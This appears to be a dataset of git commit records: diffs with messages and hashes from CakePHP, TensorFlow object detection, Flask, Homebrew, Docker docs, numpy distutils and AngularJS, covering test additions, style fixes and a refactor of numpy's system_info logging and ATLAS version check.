<ide>
<ide> output_dir = params['generator_flags']['output_dir']
<del> for configuration_name, commands in per_config_commands.iteritems():
<add> for configuration_name, commands in per_config_commands.items():
<ide> filename = os.path.join(output_dir,
<ide> configuration_name,
<ide> 'compile_commands.json')
| 1
|
PHP
|
PHP
|
fix backwards compatibility with commandrunner
|
f74123b40c3d49299f0691cc7f4ab4b6e0b6a74a
|
<ide><path>src/Console/CommandRunner.php
<ide> use Cake\Event\EventManagerTrait;
<ide> use Cake\Shell\HelpShell;
<ide> use Cake\Shell\VersionShell;
<add>use Cake\Utility\Inflector;
<ide> use RuntimeException;
<ide>
<ide> /**
<ide> protected function getShell(ConsoleIo $io, CommandCollection $commands, $name)
<ide> if (isset($this->aliases[$name])) {
<ide> $name = $this->aliases[$name];
<ide> }
<add> if (!$commands->has($name)) {
<add> $name = Inflector::underscore($name);
<add> }
<ide> if (!$commands->has($name)) {
<ide> throw new RuntimeException(
<ide> "Unknown command `{$this->root} {$name}`." .
<ide><path>tests/TestCase/Console/CommandRunnerTest.php
<ide> public function testRunValidCommand()
<ide> $this->assertContains('URI template', $contents);
<ide> }
<ide>
<add> /**
<add> * Test running a valid command and that backwards compatible
<add> * inflection is hooked up.
<add> *
<add> * @return void
<add> */
<add> public function testRunValidCommandInflection()
<add> {
<add> $app = $this->getMockBuilder(BaseApplication::class)
<add> ->setMethods(['middleware', 'bootstrap'])
<add> ->setConstructorArgs([$this->config])
<add> ->getMock();
<add>
<add> $output = new ConsoleOutput();
<add>
<add> $runner = new CommandRunner($app, 'cake');
<add> $result = $runner->run(['cake', 'OrmCache', 'build'], $this->getMockIo($output));
<add> $this->assertSame(Shell::CODE_SUCCESS, $result);
<add>
<add> $contents = implode("\n", $output->messages());
<add> $this->assertContains('Cache', $contents);
<add> }
<add>
<ide> /**
<ide> * Test running a valid raising an error
<ide> *
| 2
|
PHP
|
PHP
|
add a test for the table option
|
c7016a3f485fb484c60c0019d20d1e1e45837f9b
|
<ide><path>tests/TestCase/Console/Command/Task/FixtureTaskTest.php
<ide> public function testImportRecordsNoEscaping() {
<ide> $this->assertContains("'body' => 'Body \"value\"'", $result, 'Data has bad escaping');
<ide> }
<ide>
<add>/**
<add> * Test the table option.
<add> *
<add> * @return void
<add> */
<add> public function testExecuteWithTableOption() {
<add> $this->Task->connection = 'test';
<add> $this->Task->path = '/my/path/';
<add> $this->Task->args = array('article');
<add> $this->Task->params = ['table' => 'comments'];
<add> $filename = '/my/path/ArticleFixture.php';
<add>
<add> $this->Task->expects($this->at(0))
<add> ->method('createFile')
<add> ->with($filename, $this->stringContains("public \$table = 'comments';"));
<add>
<add> $this->Task->execute();
<add> }
<add>
<ide> /**
<ide> * test that execute passes runs bake depending with named model.
<ide> *
| 1
|
Python
|
Python
|
fix coding style
|
145ac875399f34e944ff3727742a8e02e41e6410
|
<ide><path>research/object_detection/models/faster_rcnn_resnet_v1_fpn_keras_feature_extractor.py
<ide> class ResnetFPN(tf.keras.layers.Layer):
<ide> """Construct Resnet FPN layer."""
<ide>
<del> def __init__(self,
<del> backbone_classifier,
<del> fpn_features_generator,
<del> coarse_feature_layers,
<del> pad_to_multiple,
<del> fpn_min_level,
<del> resnet_block_names,
<del> base_fpn_max_level):
<del> """Constructor.
<add> def __init__(self,
<add> backbone_classifier,
<add> fpn_features_generator,
<add> coarse_feature_layers,
<add> pad_to_multiple,
<add> fpn_min_level,
<add> resnet_block_names,
<add> base_fpn_max_level):
<add> """Constructor.
<ide>
<ide> Args:
<ide> backbone_classifier: Classifier backbone. Should be one of 'resnet_v1_50',
<ide> def __init__(self,
<ide> resnet_block_names: a list of block names of resnet.
<ide> base_fpn_max_level: maximum level of fpn without coarse feature layers.
<ide> """
<del> super(ResnetFPN, self).__init__()
<del> self.classification_backbone = backbone_classifier
<del> self.fpn_features_generator = fpn_features_generator
<del> self.coarse_feature_layers = coarse_feature_layers
<del> self.pad_to_multiple = pad_to_multiple
<del> self._fpn_min_level = fpn_min_level
<del> self._resnet_block_names = resnet_block_names
<del> self._base_fpn_max_level = base_fpn_max_level
<del>
<del> def call(self, inputs):
<del> inputs = ops.pad_to_multiple(inputs, self.pad_to_multiple)
<del> backbone_outputs = self.classification_backbone(inputs)
<del>
<del> feature_block_list = []
<del> for level in range(self._fpn_min_level, self._base_fpn_max_level + 1):
<del> feature_block_list.append('block{}'.format(level - 1))
<del> feature_block_map = dict(
<del> list(zip(self._resnet_block_names, backbone_outputs)))
<del> fpn_input_image_features = [
<del> (feature_block, feature_block_map[feature_block])
<del> for feature_block in feature_block_list]
<del> fpn_features = self.fpn_features_generator(fpn_input_image_features)
<del>
<del> feature_maps = []
<del> for level in range(self._fpn_min_level, self._base_fpn_max_level + 1):
<del> feature_maps.append(fpn_features['top_down_block{}'.format(level-1)])
<del> last_feature_map = fpn_features['top_down_block{}'.format(
<del> self._base_fpn_max_level - 1)]
<del>
<del> for coarse_feature_layers in self.coarse_feature_layers:
<del> for layer in coarse_feature_layers:
<del> last_feature_map = layer(last_feature_map)
<del> feature_maps.append(last_feature_map)
<del>
<del> return feature_maps
<add> super(ResnetFPN, self).__init__()
<add> self.classification_backbone = backbone_classifier
<add> self.fpn_features_generator = fpn_features_generator
<add> self.coarse_feature_layers = coarse_feature_layers
<add> self.pad_to_multiple = pad_to_multiple
<add> self._fpn_min_level = fpn_min_level
<add> self._resnet_block_names = resnet_block_names
<add> self._base_fpn_max_level = base_fpn_max_level
<add>
<add> def call(self, inputs):
<add> """Create ResnetFPN layer.
<add>
<add> Args:
<add> inputs: A [batch, height_out, width_out, channels] float32 tensor
<add> representing a batch of images.
<add>
<add> Return:
<add> feature_maps: A list of tensors with shape [batch, height, width, depth]
<add> represent extracted features.
<add> """
<add> inputs = ops.pad_to_multiple(inputs, self.pad_to_multiple)
<add> backbone_outputs = self.classification_backbone(inputs)
<add>
<add> feature_block_list = []
<add> for level in range(self._fpn_min_level, self._base_fpn_max_level + 1):
<add> feature_block_list.append('block{}'.format(level - 1))
<add> feature_block_map = dict(
<add> list(zip(self._resnet_block_names, backbone_outputs)))
<add> fpn_input_image_features = [
<add> (feature_block, feature_block_map[feature_block])
<add> for feature_block in feature_block_list]
<add> fpn_features = self.fpn_features_generator(fpn_input_image_features)
<add>
<add> feature_maps = []
<add> for level in range(self._fpn_min_level, self._base_fpn_max_level + 1):
<add> feature_maps.append(fpn_features['top_down_block{}'.format(level-1)])
<add> last_feature_map = fpn_features['top_down_block{}'.format(
<add> self._base_fpn_max_level - 1)]
<add>
<add> for coarse_feature_layers in self.coarse_feature_layers:
<add> for layer in coarse_feature_layers:
<add> last_feature_map = layer(last_feature_map)
<add> feature_maps.append(last_feature_map)
<add>
<add> return feature_maps
<ide>
<ide>
<ide> class FasterRCNNResnetV1FpnKerasFeatureExtractor(
<ide> def get_proposal_feature_extractor_model(self, name=None):
<ide> conv_hyperparams=self._conv_hyperparams,
<ide> freeze_batchnorm=self._freeze_batchnorm,
<ide> name='FeatureMaps'))
<del>
<add>
<ide> # Construct coarse feature layers
<ide> for i in range(self._base_fpn_max_level, self._fpn_max_level):
<ide> layers = []
<ide> def get_proposal_feature_extractor_model(self, name=None):
<ide> self._conv_hyperparams.build_activation_layer(
<ide> name=layer_name))
<ide> self._coarse_feature_layers.append(layers)
<del>
<add>
<ide> feature_extractor_model = ResnetFPN(self.classification_backbone,
<del> self._fpn_features_generator,
<del> self._coarse_feature_layers,
<del> self._pad_to_multiple,
<del> self._fpn_min_level,
<del> self._resnet_block_names,
<del> self._base_fpn_max_level)
<add> self._fpn_features_generator,
<add> self._coarse_feature_layers,
<add> self._pad_to_multiple,
<add> self._fpn_min_level,
<add> self._resnet_block_names,
<add> self._base_fpn_max_level)
<ide> return feature_extractor_model
<ide>
<ide> def get_box_classifier_feature_extractor_model(self, name=None):
| 1
|
Python
|
Python
|
fix broken test
|
777cc17de34622a7f8324a3ce42fbc589d86476b
|
<ide><path>tests/test_helpers.py
<ide> def test_send_file_range_request_xsendfile_invalid(self, app, client):
<ide> # https://github.com/pallets/flask/issues/2526
<ide> app.use_x_sendfile = True
<ide>
<add> @app.route('/')
<add> def index():
<add> return flask.send_file('static/index.html', conditional=True)
<add>
<ide> rv = client.get('/', headers={'Range': 'bytes=1000-'})
<ide> assert rv.status_code == 416
<ide> rv.close()
| 1
|
Ruby
|
Ruby
|
add missing version tests
|
0386f332229d0a6ca28813d84fc0eb480cd36310
|
<ide><path>Library/Homebrew/test/test_versions.rb
<ide> def test_raises_for_non_string_objects
<ide> assert_raises(TypeError) { Version.new(1) }
<ide> assert_raises(TypeError) { Version.new(:symbol) }
<ide> end
<add>
<add> def test_detected_from_url?
<add> refute Version.new("1.0").detected_from_url?
<add> assert Version::FromURL.new("1.0").detected_from_url?
<add> end
<add>end
<add>
<add>class VersionTokenTests < Homebrew::TestCase
<add> def test_inspect
<add> assert_equal '#<Version::Token "foo">',
<add> Version::Token.new("foo").inspect
<add> end
<add>
<add> def test_to_s
<add> assert_equal "foo", Version::Token.new("foo").to_s
<add> end
<add>end
<add>
<add>class VersionNullTokenTests < Homebrew::TestCase
<add> def test_inspect
<add> assert_equal "#<Version::NullToken>", Version::NullToken.new.inspect
<add> end
<add>
<add> def test_comparing_null
<add> assert_operator Version::NullToken.new, :==, Version::NullToken.new
<add> end
<ide> end
<ide>
<ide> class VersionComparisonTests < Homebrew::TestCase
<ide> def test_waf_version
<ide> def test_dash_separated_version
<ide> assert_version_detected "6-20151227", "ftp://gcc.gnu.org/pub/gcc/snapshots/6-20151227/gcc-6-20151227.tar.bz2"
<ide> end
<add>
<add> def test_from_url
<add> assert_version_detected "1.2.3",
<add> "http://github.com/foo/bar.git", {:tag => "v1.2.3"}
<add> end
<ide> end
<ide><path>Library/Homebrew/test/testing_env.rb
<ide> def assert_version_equal(expected, actual)
<ide> assert_equal Version.new(expected), actual
<ide> end
<ide>
<del> def assert_version_detected(expected, url)
<del> assert_equal expected, Version.parse(url).to_s
<add> def assert_version_detected(expected, url, specs={})
<add> assert_equal expected, Version.detect(url, specs).to_s
<ide> end
<ide>
<ide> def assert_version_nil(url)
| 2
|
Text
|
Text
|
fix wrong command
|
cac97b6bd86fb3b741ff3ce75cf422ef378854b9
|
<ide><path>docs/sources/userguide/dockerimages.md
<ide> containers will get removed to clean things up.
<ide>
<ide> We can then create a container from our new image.
<ide>
<del> $ sudo docker run -t -i ouruser/sinatra /bin/bash
<add> $ sudo docker run -t -i ouruser/sinatra:v2 /bin/bash
<ide> root@8196968dac35:/#
<ide>
<ide> > **Note:**
| 1
|
Python
|
Python
|
make system_info saner
|
d4ea24a49b077407a991afc1475a61dbd5e19335
|
<ide><path>numpy/distutils/ccompiler.py
<ide> def CCompiler_compile(self, sources, output_dir=None, macros=None,
<ide> fcomp = getattr(self,'compiler_'+fc)
<ide> if fcomp is None:
<ide> continue
<del> display.append("%s(%s) options: '%s'" % (os.path.basename(fcomp[0]),
<del> fc,
<del> ' '.join(fcomp[1:])))
<add> display.append("Fortran %s compiler: %s" % (fc, ' '.join(fcomp)))
<ide> display = '\n'.join(display)
<ide> else:
<ide> ccomp = self.compiler_so
<del> display = "%s options: '%s'" % (os.path.basename(ccomp[0]),
<del> ' '.join(ccomp[1:]))
<add> display = "C compiler: %s\n" % (' '.join(ccomp),)
<ide> log.info(display)
<ide> macros, objects, extra_postargs, pp_opts, build = \
<ide> self._setup_compile(output_dir, macros, include_dirs, sources,
<ide><path>numpy/distutils/command/config.py
<ide> # compilers (they must define linker_exe first).
<ide> # Pearu Peterson
<ide>
<add>import os, signal
<ide> from distutils.command.config import config as old_config
<ide> from distutils.command.config import LANG_EXT
<add>from distutils import log
<add>from numpy.distutils.exec_command import exec_command
<add>
<ide> LANG_EXT['f77'] = '.f'
<ide> LANG_EXT['f90'] = '.f90'
<ide>
<ide> def _link (self, body,
<ide> return self._wrap_method(old_config._link,lang,
<ide> (body, headers, include_dirs,
<ide> libraries, library_dirs, lang))
<add>
<add> def check_func(self, func,
<add> headers=None, include_dirs=None,
<add> libraries=None, library_dirs=None,
<add> decl=False, call=False, call_args=None):
<add> # clean up distutils's config a bit: add void to main(), and
<add> # return a value.
<add> self._check_compiler()
<add> body = []
<add> if decl:
<add> body.append("int %s ();" % func)
<add> body.append("int main (void) {")
<add> if call:
<add> if call_args is None:
<add> call_args = ''
<add> body.append(" %s(%s);" % (func, call_args))
<add> else:
<add> body.append(" %s;" % func)
<add> body.append(" return 0;")
<add> body.append("}")
<add> body = '\n'.join(body) + "\n"
<add>
<add> return self.try_link(body, headers, include_dirs,
<add> libraries, library_dirs)
<add>
<add> def get_output(self, body, headers=None, include_dirs=None,
<add> libraries=None, library_dirs=None,
<add> lang="c"):
<add> """Try to compile, link to an executable, and run a program
<add> built from 'body' and 'headers'. Returns the exit status code
<add> of the program and its output.
<add> """
<add> from distutils.ccompiler import CompileError, LinkError
<add> self._check_compiler()
<add> try:
<add> src, obj, exe = self._link(body, headers, include_dirs,
<add> libraries, library_dirs, lang)
<add> exe = os.path.join('.', exe)
<add> exitstatus, output = exec_command(exe, execute_in='.')
<add> exitcode = os.WEXITSTATUS(exitstatus)
<add> if os.WIFSIGNALED(exitstatus):
<add> sig = os.WTERMSIG(exitstatus)
<add> log.error('subprocess exited with signal %d' % (sig,))
<add> if sig == signal.SIGINT:
<add> # control-C
<add> raise KeyboardInterrupt
<add> ok = exitstatus == 0
<add> ok = 1
<add> except (CompileError, LinkError):
<add> ok = 0
<add>
<add> log.info(ok and "success!" or "failure.")
<add> self._clean()
<add> return exitcode, output
<add>
<ide><path>numpy/distutils/log.py
<ide> def _fix_args(args,flag=1):
<ide>
<ide> class Log(old_Log):
<ide> def _log(self, level, msg, args):
<del> if level>= self.threshold:
<add> if level >= self.threshold:
<ide> if args:
<ide> print _global_color_map[level](msg % _fix_args(args))
<ide> else:
<ide> def _log(self, level, msg, args):
<ide>
<ide> def set_verbosity(v):
<ide> prev_level = _global_log.threshold
<del> if v<0:
<add> if v < 0:
<ide> set_threshold(ERROR)
<ide> elif v == 0:
<ide> set_threshold(WARN)
<ide><path>numpy/distutils/system_info.py
<ide> NO WARRANTY IS EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
<ide> """
<ide>
<del>import sys,os,re,copy
<add>import sys
<add>import os
<add>import re
<add>import copy
<ide> import warnings
<del>from distutils.errors import DistutilsError
<ide> from glob import glob
<ide> import ConfigParser
<del>from exec_command import find_executable, exec_command, get_pythonexe
<del>from numpy.distutils.misc_util import is_sequence, is_string
<add>
<add>from distutils.errors import DistutilsError
<add>from distutils.dist import Distribution
<ide> import distutils.sysconfig
<add>from distutils import log
<ide>
<del>from distutils.sysconfig import get_config_vars
<add>from numpy.distutils.exec_command import \
<add> find_executable, exec_command, get_pythonexe
<add>from numpy.distutils.misc_util import is_sequence, is_string
<add>from numpy.distutils.command.config import config as cmd_config
<ide>
<ide> if sys.platform == 'win32':
<ide> default_lib_dirs = ['C:\\',
<ide> default_include_dirs = filter(os.path.isdir, default_include_dirs)
<ide> default_src_dirs = filter(os.path.isdir, default_src_dirs)
<ide>
<del>so_ext = get_config_vars('SO')[0] or ''
<add>so_ext = distutils.sysconfig.get_config_vars('SO')[0] or ''
<ide>
<ide> def get_standard_file(fname):
<ide> """Returns a list of files named 'fname' from
<ide> def calc_libraries_info(self):
<ide> if i is not None:
<ide> dict_append(info,**i)
<ide> else:
<del> print 'Library %s was not found. Ignoring' % (lib)
<add> log.info('Library %s was not found. Ignoring' % (lib))
<ide> return info
<ide>
<ide> def set_info(self,**info):
<ide> def get_info(self,notfound_action=0):
<ide> flag = 0
<ide> if not self.has_info():
<ide> flag = 1
<del> if self.verbosity>0:
<del> print self.__class__.__name__ + ':'
<add> log.info(self.__class__.__name__ + ':')
<ide> if hasattr(self, 'calc_info'):
<ide> self.calc_info()
<ide> if notfound_action:
<ide> def get_info(self,notfound_action=0):
<ide> else:
<ide> raise ValueError(repr(notfound_action))
<ide>
<del> if self.verbosity>0:
<del> if not self.has_info():
<del> print ' NOT AVAILABLE'
<del> self.set_info()
<del> else:
<del> print ' FOUND:'
<add> if not self.has_info():
<add> log.info(' NOT AVAILABLE')
<add> self.set_info()
<add> else:
<add> log.info(' FOUND:')
<ide>
<ide> res = self.saved_results.get(self.__class__.__name__)
<ide> if self.verbosity>0 and flag:
<ide> for k,v in res.items():
<ide> v = str(v)
<ide> if k=='sources' and len(v)>200: v = v[:60]+' ...\n... '+v[-60:]
<del> print ' %s = %s'%(k,v)
<del> print
<add> log.info(' %s = %s', k, v)
<add> log.info('')
<ide>
<ide> return copy.deepcopy(res)
<ide>
<ide> def get_paths(self, section, key):
<ide> e0 = e
<ide> break
<ide> if not env_var[0]==e0:
<del> print 'Setting %s=%s' % (env_var[0],e0)
<add> log.info('Setting %s=%s' % (env_var[0],e0))
<ide> env_var = e0
<ide> if env_var and os.environ.has_key(env_var):
<ide> d = os.environ[env_var]
<ide> if d=='None':
<del> print 'Disabled',self.__class__.__name__,'(%s is None)' \
<del> % (self.dir_env_var)
<add> log.info('Disabled',self.__class__.__name__,'(%s is None)' \
<add> % (self.dir_env_var))
<ide> return []
<ide> if os.path.isfile(d):
<ide> dirs = [os.path.dirname(d)] + dirs
<ide> def get_paths(self, section, key):
<ide> b = os.path.basename(d)
<ide> b = os.path.splitext(b)[0]
<ide> if b[:3]=='lib':
<del> print 'Replacing _lib_names[0]==%r with %r' \
<del> % (self._lib_names[0], b[3:])
<add> log.info('Replacing _lib_names[0]==%r with %r' \
<add> % (self._lib_names[0], b[3:]))
<ide> self._lib_names[0] = b[3:]
<ide> else:
<ide> ds = d.split(os.pathsep)
<ide> def get_paths(self, section, key):
<ide> default_dirs = self.cp.get('DEFAULT', key).split(os.pathsep)
<ide> dirs.extend(default_dirs)
<ide> ret = []
<del> [ret.append(d) for d in dirs if os.path.isdir(d) and d not in ret]
<del> if self.verbosity>1:
<del> print '(',key,'=',':'.join(ret),')'
<add> for d in dirs:
<add> if os.path.isdir(d) and d not in ret:
<add> ret.append(d)
<add> log.debug('( %s = %s )', key, ':'.join(ret))
<ide> return ret
<ide>
<ide> def get_lib_dirs(self, key='library_dirs'):
<ide> def get_libraries(self, key='libraries'):
<ide> return self.get_libs(key,'')
<ide>
<ide> def check_libs(self,lib_dir,libs,opt_libs =[]):
<del> """ If static or shared libraries are available then return
<del> their info dictionary. """
<add> """If static or shared libraries are available then return
<add> their info dictionary.
<add>
<add> Checks for all libraries as shared libraries first, then
<add> static (or vice versa if self.search_static_first is True).
<add> """
<ide> if self.search_static_first:
<del> exts = ['.a',so_ext]
<add> exts = ['.a', so_ext]
<ide> else:
<del> exts = [so_ext,'.a']
<del> if sys.platform=='cygwin':
<add> exts = [so_ext, '.a']
<add> if sys.platform == 'cygwin':
<ide> exts.append('.dll.a')
<add> info = None
<ide> for ext in exts:
<ide> info = self._check_libs(lib_dir,libs,opt_libs,[ext])
<del> if info is not None: return info
<del> return
<add> if info is not None:
<add> break
<add> if not info:
<add> log.info(' libraries %s not find in %s', ','.join(libs), lib_dir)
<add> return info
<add>
<add> def check_libs2(self, lib_dir, libs, opt_libs =[]):
<add> """If static or shared libraries are available then return
<add> their info dictionary.
<ide>
<del> def check_libs2(self,lib_dir,libs,opt_libs =[]):
<del> """ If static or shared libraries are available then return
<del> their info dictionary. """
<add> Checks each library for shared or static.
<add> """
<ide> if self.search_static_first:
<del> exts = ['.a',so_ext]
<add> exts = ['.a', so_ext]
<ide> else:
<del> exts = [so_ext,'.a']
<add> exts = [so_ext, '.a']
<ide> if sys.platform=='cygwin':
<ide> exts.append('.dll.a')
<ide> info = self._check_libs(lib_dir,libs,opt_libs,exts)
<del> if info is not None: return info
<del> return
<add> if not info:
<add> log.info(' libraries %s not find in %s', ','.join(libs), lib_dir)
<add> return info
<ide>
<ide> def _lib_list(self, lib_dir, libs, exts):
<ide> assert is_string(lib_dir)
<ide> liblist = []
<add> # for each library name, see if we can find a file for it.
<ide> for l in libs:
<ide> for ext in exts:
<ide> p = self.combine_paths(lib_dir, 'lib'+l+ext)
<ide> if p:
<ide> assert len(p)==1
<del> liblist.append(p[0])
<add> liblist.append(l)
<ide> break
<ide> return liblist
<ide>
<del> def _extract_lib_names(self,libs):
<del> return [os.path.splitext(os.path.basename(p))[0][3:] \
<del> for p in libs]
<del>
<ide> def _check_libs(self,lib_dir,libs, opt_libs, exts):
<ide> found_libs = self._lib_list(lib_dir, libs, exts)
<ide> if len(found_libs) == len(libs):
<del> found_libs = self._extract_lib_names(found_libs)
<ide> info = {'libraries' : found_libs, 'library_dirs' : [lib_dir]}
<ide> opt_found_libs = self._lib_list(lib_dir, opt_libs, exts)
<ide> if len(opt_found_libs) == len(opt_libs):
<del> opt_found_libs = self._extract_lib_names(opt_found_libs)
<ide> info['libraries'].extend(opt_found_libs)
<ide> return info
<ide> else:
<del> print ' looking libraries %s in %s but found %s' % \
<del> (','.join(libs), lib_dir, ','.join(found_libs) or None)
<add> return None
<ide>
<ide> def combine_paths(self,*args):
<ide> return combine_paths(*args,**{'verbosity':self.verbosity})
<ide> def calc_ver_info(self,ver_param):
<ide> self.set_info(**info)
<ide> return True
<ide> else:
<del> if self.verbosity>0:
<del> print ' %s not found' % (ver_param['name'])
<add> log.info(' %s not found' % (ver_param['name']))
<ide> return False
<ide>
<ide> def calc_info(self):
<ide> def calc_info(self):
<ide> break
<ide> if atlas:
<ide> atlas_1 = atlas
<del> print self.__class__
<add> log.info(self.__class__)
<ide> if atlas is None:
<ide> atlas = atlas_1
<ide> if atlas is None:
<ide> def calc_info(self):
<ide>
<ide> atlas_version_c_text = r'''
<ide> /* This file is generated from numpy_distutils/system_info.py */
<del>#ifdef __CPLUSPLUS__
<del>extern "C" {
<del>#endif
<del>#include "Python.h"
<del>static PyMethodDef module_methods[] = { {NULL,NULL} };
<del>PyMODINIT_FUNC initatlas_version(void) {
<del> void ATL_buildinfo(void);
<add>void ATL_buildinfo(void);
<add>int main(void) {
<ide> ATL_buildinfo();
<del> Py_InitModule("atlas_version", module_methods);
<add> return 0;
<ide> }
<del>#ifdef __CPLUSCPLUS__
<del>}
<del>#endif
<ide> '''
<ide>
<del>def _get_build_temp():
<del> from distutils.util import get_platform
<del> plat_specifier = ".%s-%s" % (get_platform(), sys.version[0:3])
<del> return os.path.join('build','temp'+plat_specifier)
<del>
<ide> def get_atlas_version(**config):
<del> os.environ['NO_SCIPY_IMPORT']='get_atlas_version'
<del> from core import Extension, setup
<del> from misc_util import get_cmd
<del> import log
<del> magic = hex(hash(repr(config)))
<del> def atlas_version_c(extension, build_dir,magic=magic):
<del> source = os.path.join(build_dir,'atlas_version_%s.c' % (magic))
<del> if os.path.isfile(source):
<del> from distutils.dep_util import newer
<del> if newer(source,__file__):
<del> return source
<del> f = open(source,'w')
<del> f.write(atlas_version_c_text)
<del> f.close()
<del> return source
<del> ext = Extension('atlas_version',
<del> sources=[atlas_version_c],
<del> **config)
<del> build_dir = _get_build_temp()
<del> extra_args = ['--build-lib',build_dir]
<del> for a in sys.argv:
<del> if re.match('[-][-]compiler[=]',a):
<del> extra_args.append(a)
<del> import distutils.core
<del> old_dist = distutils.core._setup_distribution
<del> distutils.core._setup_distribution = None
<del> return_flag = True
<del> try:
<del> dist = setup(ext_modules=[ext],
<del> script_name = 'get_atlas_version',
<del> script_args = ['build_src','build_ext']+extra_args)
<del> return_flag = False
<del> except Exception,msg:
<del> print "##### msg: %s" % msg
<del> if not msg:
<del> msg = "Unknown Exception"
<del> log.warn(msg)
<del> distutils.core._setup_distribution = old_dist
<del>
<del> if return_flag:
<del> return
<add> c = cmd_config(Distribution())
<add> s, o = c.get_output(atlas_version_c_text,
<add> libraries=config.get('libraries', []),
<add> libray_dirs=config.get('library_dirs', []),
<add> )
<ide>
<del> from distutils.sysconfig import get_config_var
<del> so_ext = get_config_var('SO')
<del> target = os.path.join(build_dir,'atlas_version'+so_ext)
<del> cmd = [get_pythonexe(),'-c',
<del> '"import imp,os;os.environ[\\"NO_SCIPY_IMPORT\\"]='\
<del> '\\"system_info.get_atlas_version:load atlas_version\\";'\
<del> 'imp.load_dynamic(\\"atlas_version\\",\\"%s\\")"'\
<del> % (os.path.basename(target))]
<del> s,o = exec_command(cmd,execute_in=os.path.dirname(target),use_tee=0)
<ide> atlas_version = None
<ide> if not s:
<ide> m = re.search(r'ATLAS version (?P<version>\d+[.]\d+[.]\d+)',o)
<ide> def atlas_version_c(extension, build_dir,magic=magic):
<ide> if re.search(r'undefined symbol: ATL_buildinfo',o,re.M):
<ide> atlas_version = '3.2.1_pre3.3.6'
<ide> else:
<del> print 'Command:',' '.join(cmd)
<del> print 'Status:',s
<del> print 'Output:',o
<add> log.info('Command: %s',' '.join(cmd))
<add> log.info('Status: %d', s)
<add> log.info('Output: %s', o)
<ide> return atlas_version
<ide>
<ide>
<ide> class _numpy_info(system_info):
<ide> notfounderror = NumericNotFoundError
<ide>
<ide> def __init__(self):
<del> from distutils.sysconfig import get_python_inc
<ide> include_dirs = []
<ide> try:
<ide> module = __import__(self.modulename)
<ide> def __init__(self):
<ide> if name=='lib':
<ide> break
<ide> prefix.append(name)
<del> include_dirs.append(get_python_inc(prefix=os.sep.join(prefix)))
<add> include_dirs.append(distutils.sysconfig.get_python_inc(
<add> prefix=os.sep.join(prefix)))
<ide> except ImportError:
<ide> pass
<del> py_incl_dir = get_python_inc()
<add> py_incl_dir = distutils.sysconfig.get_python_inc()
<ide> include_dirs.append(py_incl_dir)
<ide> for d in default_include_dirs:
<ide> d = os.path.join(d, os.path.basename(py_incl_dir))
<ide> class numpy_info(_numpy_info):
<ide> class numerix_info(system_info):
<ide> section = 'numerix'
<ide> def calc_info(self):
<del> import sys, os
<ide> which = None, None
<ide> if os.getenv("NUMERIX"):
<ide> which = os.getenv("NUMERIX"), "environment var"
<ide> def calc_info(self):
<ide> import numarray
<ide> which = "numarray", "defaulted"
<ide> except ImportError,msg3:
<del> print msg1
<del> print msg2
<del> print msg3
<add> log.info(msg1)
<add> log.info(msg2)
<add> log.info(msg3)
<ide> which = which[0].strip().lower(), which[1]
<ide> if which[0] not in ["numeric", "numarray", "numpy"]:
<ide> raise ValueError("numerix selector must be either 'Numeric' "
<ide> def get_paths(self, section, key):
<ide> return [ d for d in dirs if os.path.isdir(d) ]
<ide>
<ide> def calc_info(self):
<del> from distutils.sysconfig import get_python_inc
<ide> src_dirs = self.get_src_dirs()
<ide> src_dir = ''
<ide> for d in src_dirs:
<ide> def calc_info(self):
<ide> break
<ide> if not src_dir:
<ide> return
<del> py_incl_dir = get_python_inc()
<add> py_incl_dir = distutils.sysconfig.get_python_inc()
<ide> srcs_dir = os.path.join(src_dir,'libs','python','src')
<ide> bpl_srcs = glob(os.path.join(srcs_dir,'*.cpp'))
<ide> bpl_srcs += glob(os.path.join(srcs_dir,'*','*.cpp'))
<ide> def get_config_output(self, config_exe, option):
<ide> def calc_info(self):
<ide> config_exe = find_executable(self.get_config_exe())
<ide> if not os.path.isfile(config_exe):
<del> print 'File not found: %s. Cannot determine %s info.' \
<del> % (config_exe, self.section)
<add> log.warn('File not found: %s. Cannot determine %s info.' \
<add> % (config_exe, self.section))
<ide> return
<ide> info = {}
<ide> macros = []
<ide> def combine_paths(*args,**kws):
<ide> else:
<ide> result = combine_paths(*(combine_paths(args[0],args[1])+args[2:]))
<ide> verbosity = kws.get('verbosity',1)
<del> if verbosity>1 and result:
<del> print '(','paths:',','.join(result),')'
<add> log.debug('(paths: %s)', ','.join(result))
<ide> return result
<ide>
<ide> language_map = {'c':0,'c++':1,'f77':2,'f90':3}
<ide> def dict_append(d,**kws):
<ide> d['language'] = l
<ide> return
<ide>
<del>def show_all():
<del> import system_info
<del> import pprint
<del> match_info = re.compile(r'.*?_info').match
<add>def parseCmdLine(argv=(None,)):
<add> import optparse
<add> parser = optparse.OptionParser("usage: %prog [-v] [info objs]")
<add> parser.add_option('-v', '--verbose', action='store_true', dest='verbose',
<add> default=False,
<add> help='be verbose and print more messages')
<add>
<add> opts, args = parser.parse_args(args=argv[1:])
<add> return opts, args
<add>
<add>def show_all(argv=None):
<add> import inspect
<add> if argv is None:
<add> argv = sys.argv
<add> opts, args = parseCmdLine(argv)
<add> if opts.verbose:
<add> log.set_threshold(log.DEBUG)
<add> else:
<add> log.set_threshold(log.INFO)
<ide> show_only = []
<del> for n in sys.argv[1:]:
<add> for n in args:
<ide> if n[-5:] != '_info':
<ide> n = n + '_info'
<ide> show_only.append(n)
<ide> show_all = not show_only
<del> for n in filter(match_info,dir(system_info)):
<del> if n in ['system_info','get_info']: continue
<add> for name, c in globals().iteritems():
<add> if not inspect.isclass(c):
<add> continue
<add> if not issubclass(c, system_info) or c is system_info:
<add> continue
<ide> if not show_all:
<del> if n not in show_only: continue
<del> del show_only[show_only.index(n)]
<del> c = getattr(system_info,n)()
<del> c.verbosity = 2
<del> r = c.get_info()
<add> if name not in show_only:
<add> continue
<add> del show_only[show_only.index(name)]
<add> conf = c()
<add> conf.verbosity = 2
<add> r = conf.get_info()
<ide> if show_only:
<del> print 'Info classes not defined:',','.join(show_only)
<add> log.info('Info classes not defined: %s',','.join(show_only))
<add>
<ide> if __name__ == "__main__":
<ide> show_all()
| 4
|
Javascript
|
Javascript
|
use gfm code-snippet rather than example tag
|
7d1719e21917aaa13c6ae3cf2eb596e3e93082da
|
<ide><path>src/ngCookies/cookies.js
<ide> angular.module('ngCookies', ['ng']).
<ide> * Requires the {@link ngCookies `ngCookies`} module to be installed.
<ide> *
<ide> * @example
<del> <example>
<del> <file name="index.html">
<del> <script>
<del> function ExampleController($cookies) {
<del> // Retrieving a cookie
<del> var favoriteCookie = $cookies.myFavorite;
<del> // Setting a cookie
